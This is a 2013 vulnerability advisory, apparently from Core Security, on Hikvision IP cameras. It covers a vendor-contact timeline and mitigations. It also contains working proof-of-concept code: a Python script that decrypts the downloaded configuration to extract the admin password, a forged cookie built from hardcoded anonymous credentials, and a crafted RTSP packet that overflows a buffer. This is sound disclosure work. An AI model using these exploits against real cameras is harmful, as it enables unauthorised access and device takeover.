Hikvision IP Cameras Multiple Vulnerabilities

1. Advisory Information

Title: Hikvision IP Cameras Multiple Vulnerabilities
Advisory ID: CORE-2013-0708
Advisory URL: http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities
Date published: 2013-08-06
Date of last update: 2013-08-06
Vendors contacted: Hikvision
Release mode: User release

2. Vulnerability Information

Class: Input validation error [CWE-20], Use of Hard-coded Credentials [CWE-798], Buffer overflow [CWE-119]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4975, CVE-2013-4976, CVE-2013-4977

3. Vulnerability Description

Multiple vulnerabilities have been found in Hikvision IP camera DS-2CD7153-E [1] (and potentially other cameras sharing the affected firmware [2]) that could allow a remote attacker:

  1. [CVE-2013-4975] To obtain the admin password from a non-privileged user account.
  2. [CVE-2013-4976] To bypass the anonymous user authentication using hard-coded credentials (even if the built-in anonymous user account was explicitly disabled).
  3. [CVE-2013-4977] To execute arbitrary code without authentication by exploiting a buffer overflow in the RTSP packet handler.

4. Vulnerable Packages

  • Hikvision-DS-2CD7153-E IP camera with firmware v4.1.0 b130111 (Jan 2013).
  • Other devices based on the same firmware [2] are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

There was no official answer from Hikvision after several attempts (see [Sec. 8]); contact vendor for further information. Some mitigation actions may be:

  • Do not expose the camera to internet unless absolutely necessary.
  • Have at least one proxy filtering HTTP requests to /PSIA/System/ConfigurationData.
  • Have at least one proxy filtering the Range parameter in RTSP requests.

6. Credits

  • [CVE-2013-4975] was discovered and researched by Alberto Solino from Core Security.
  • [CVE-2013-4976] was discovered and researched by Alejandro Rodriguez from Core Exploit QA Team.
  • [CVE-2013-4977] was discovered Anibal Sacco. Analysis and research by Anibal Sacco and Federico Muttis from Core Exploit Writers Team.
  • The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

7. Technical Description / Proof of Concept Code

7.1. Privilege Escalation through ConfigurationData Request

[CVE-2013-4975] The following script allows obtaining the administrator password by requesting the camera's configuration data and breaking its trivial encryption. A valid user account is needed to launch the attack.

import urllib2
import base64
import argparse
import sys

def decrypt(config):
    # Important: We're assuming the last 4 bytes of the file's plaintext are        
    # zero, hence there we have the key. There are other easy ways to 
    # calculate this tho.
    print '[*] Decrypting config'
    key = config[-4:]
    plaintext = ''
    for i in range(len(config)/4):
        for j in range(4):
            plaintext += chr(ord(config[i*4+j]) ^ ord(key[j]))
    return plaintext

def attack(target, username, password, output):
    base_url = 'http://' + target + '/PSIA/System/ConfigurationData' 
    headers = { 'Authorization': 'Basic ' + base64.b64encode('%s:%s' %(username,password)) }
    print '[*] Attacking %s ' % target
    req = urllib2.Request(base_url, None, headers)
    try:
        response = urllib2.urlopen(req)
        config = response.read()
    except Exception, e:
        print e
        return
    plaintext = decrypt(config)
    print '[*] Writing output file %s' % output
    f = open(output, 'w')
    f.write(plaintext)
    f.close()
    user = plaintext[0x45A0:0x45A0+32]
    pwd  = plaintext[0x45C0:0x45C0+16]
    print 'Probably the admin user is %s and the password is %s' % (user, pwd)
    print "If it doesn't make any sense, just do a strings of the output file"
    
if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('target', action = 'store', help = 'target host to attack')
    parser.add_argument('username', action = 'store', help = 'username to be used to authenticate against target')
    parser.add_argument('password', action = 'store', help = "username's password")
    parser.add_argument('output', action = 'store', help = "filename to write the plaintext config")
    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)
    options = parser.parse_args()
    attack(options.target, options.username, options.password, options.output)

7.2. Anonymous User Authentication Bypass

[CVE-2013-4976] The camera has a built-in anonymous account intended for guest users, but even when the feature is disabled it could be bypassed due to the usage of hardcoded credentials:

user: anonymous
password: \177\177\177\177\177\177        

The bypass cannot be used directly through the login form but rather by forging a cookie:

  1. Load the login page to generate the initial cookies of the camera's webapp.
  2. Use your preferred tool (for example Firebug on Firefox) to create a cookie with the name userInfoXX (replace XX with the port where the webserver is running i.e. userInfo80), path / and value YW5vbnltb3VzOlwxNzdcMTc3XDE3N1wxNzdcMTc3XDE3Nw==; this is the tuple user:pass encoded in base64 explained above.
  3. Request the URI http:/<ipcam>/doc/pages/main.asp, a page that should not be accessed without authentication if the anonymous user is disabled.

There are several references to those hardcoded credentials in the cgis, but in particular the following snippet was found in /doc/pages/scripts/login.js::

107: function DoLogin(){
(...)
166: $.cookie('userInfo'+m_lHttpPort,m_szUserPwdValue==""?Base64.encode("anonymous:\177\177\177\177\177\177"    ):m_szUserPwdValue);
(...)

This bypass is not completely useful per se since all the interesting requests are actually handled by the PSIA (Physical Security Interoperability Alliance's) API. Nevertheless, if it is ever combined with a privilege escalation it would allow remote attacker to control the camera without proper credentials.

7.3. Buffer Overflow in the RTSP Packet Handler

[CVE-2013-4977] The following Python script sends a specially crafted packet that triggers a buffer overrun condition when handling the Range parameter of a RTSP transaction. As a result, the process handling the communication crashes and the Watchdog service issues a full restart. No authentication is required to exploit this vulnerability and it would possible lead to a remote code execution.

import socket

HOST = '192.168.1.100'
PORT = 554              
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

trigger_pkt =  "PLAY rtsp://%s/ RTSP/1.0\r\n" % HOST
trigger_pkt += "CSeq: 7\r\n"
trigger_pkt += "Range: npt=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9aLSaLSaLS\r\n"
trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media v2010.02.10)\r\n\r\n"

s.sendall(trigger_pkt)
print "Packet sent"
data = s.recv(1024)
print 'Received', repr(data), "\r\n"
s.close()	

8. Report Timeline

  • 2013-07-08: Core attempts to report the vulnerability using the Hikvision official contact addresses [3]. No reply received.
  • 2013-07-15: Core attempts to contact vendor.
  • 2013-07-22: Core attempts to contact vendor.
  • 2013-07-30: Core attempts to contact vendor.
  • 2013-08-06: Advisory CORE-2013-0708 published as 'user release'.

9. References

[1] Hikvision DS-2CD7153-E Network Mini Dome Camera, http://www.hikvision.com/en/products_show.asp?id=506.
[2] Hikvision IP cameras using firmware v4.1.0 b130111:
DS-2CD833F-E DS-2CD893PF-E DS-2CD893PFWD-E DS-2CD893NF-E DS-2CD893NFWD-E DS-2CD863PF-E DS-2CD863NF-E DS-2CD864F-E DS-2CD864FWD-E DS-2CD853F-E DS-2CD855F-E DS-2CD854F-E DS-2CD854FWD-E DS-2CD883F-E DS-2CD733F-E DS-2CD733F-EZ DS-2CD793PF-E DS-2CD793PF-EZ DS-2CD793PFWD-E DS-2CD793PFWD-EZ DS-2CD793NF-E DS-2CD793NF-EZ DS-2CD793NFWD-E DS-2CD793NFWD-EZ DS-2CD763PF-E DS-2CD763PF-EZ DS-2CD763NF-E DS-2CD763NF-EZ DS-2CD764F-E DS-2CD764F-EZ DS-2CD764FWD-E DS-2CD764FWD-EZ DS-2CD753F-E DS-2CD753F-EZ DS-2CD755F-E DS-2CD755F-EZ DS-2CD754F-E DS-2CD754F-EZ DS-2CD754FWD-E DS-2CD783F-E DS-2CD783F-EZ DS-2CD733F-EI DS-2CD733F-EIZ DS-2CD793PF-EI DS-2CD793PF-EIZ DS-2CD793PFWD-EI DS-2CD793PFWD-EIZ DS-2CD793NF-EI DS-2CD793NF-EIZ DS-2CD793NFWD-EI DS-2CD793NFWD-EIZ DS-2CD763PF-EI DS-2CD763PF-EIZ DS-2CD763NF-EI DS-2CD763NF-EIZ DS-2CD764F-EI DS-2CD764F-EIZ DS-2CD764FWD-EI DS-2CD764FWD-EIZ DS-2CD753F-EI DS-2CD753F-EIZ DS-2CD755F-EI DS-2CD755F-EIZ DS-2CD754F-EI DS-2CD754F-EIZ DS-2CD754FWD-EI DS-2CD783F-EI DS-2CD783F-EIZ DS-2CD7233F-EZ DS-2CD7233F-EZH DS-2CD7233F-EZS DS-2CD7233F-EZHS DS-2CD7293PF-EZ DS-2CD7293PF-EZH DS-2CD7293PFWD-EZ DS-2CD7293PFWD-EZH DS-2CD7293NF-EZ DS-2CD7293NF-EZH DS-2CD7293NFWD-EZ DS-2CD7293NFWD-EZH DS-2CD7263PF-EZ DS-2CD7263PF-EZH DS-2CD7263PF-EZS DS-2CD7263PF-EZHS DS-2CD7263NF-EZ DS-2CD7263NF-EZH DS-2CD7263NF-EZS DS-2CD7263NF-EZHS DS-2CD7264FWD-EZ DS-2CD7264FWD-EZH DS-2CD7253F-EZ DS-2CD7253F-EZH DS-2CD7253F-EZS DS-2CD7253F-EZHS DS-2CD7255F-EZ DS-2CD7255F-EZH DS-2CD7254F-EZ DS-2CD7254F-EZH DS-2CD7254F-EZS DS-2CD7254F-EZHS DS-2CD7233F-EIZ DS-2CD7233F-EIZH DS-2CD7233F-EIZS DS-2CD7233F-EIZHS DS-2CD7293PF-EIZ DS-2CD7293PF-EIZH DS-2CD7293PFWD-EIZ DS-2CD7293PFWD-EIZH DS-2CD7293NF-EIZ DS-2CD7293NF-EZH DS-2CD7293NFWD-EIZ DS-2CD7293NFWD-EZH DS-2CD7263PF-EIZ DS-2CD7263PF-EIZH DS-2CD7263PF-EIZH DS-2CD7263PF-EIZHS DS-2CD7263NF-EIZ DS-2CD7263NF-EIZH DS-2CD7263NF-EIZH DS-2CD7263NF-EIZHS DS-2CD7264FWD-EIZ DS-2CD7264FWD-EIZH DS-2CD7253F-EIZ DS-2CD7253F-EIZH DS-2CD7253F-EIZS DS-2CD7253F-EIZHS DS-2CD7255F-EIZ DS-2CD7255F-EIZH DS-2CD7254F-EIZ DS-2CD7254F-EIZH DS-2CD7254F-EIZH DS-2CD7254F-EIZHS DS-2CD7133-E DS-2CD8133F-E DS-2CD8133F-EI DS-2CD7164-E DS-2CD7153-E DS-2CD8153F-E DS-2CD8153F-EI DS-2CD8233F-E DS-2CD8233F-ES DS-2CD8264F-E DS-2CD8264FWD-E DS-2CD8264FWD-ES DS-2CD8253F-E DS-2CD8253F-ES DS-2CD8255F-E DS-2CD8254F-E DS-2CD8254F-ES DS-2CD8283F-E DS-2CD8283F-ES DS-2CD8233F-EI DS-2CD8233F-EIS DS-2CD8264F-EI DS-2CD8264FWD-EI DS-2CD8264FWD-EIS DS-2CD8253F-EI DS-2CD8253F-EIS DS-2CD8255F-EI DS-2CD8254F-EI DS-2CD8254F-EIS DS-2CD8283F-EI DS-2CD8283F-EIS DS-2CD8433F-EI DS-2CD8464F-EI.
[3] Hikvision contact page, http://www.hikvision.com/En/US/contactHikvision.asp.

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12. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

Published Date: 
Tuesday, August 6, 2013
Last Updated: 
Tuesday, August 6, 2013 - 3:45pm
Locally Exploitable: 
no
Remotely Exploitable: 
yes
CVE Name: 
CVE-2013-4975
CVE-2013-4976
CVE-2013-4977
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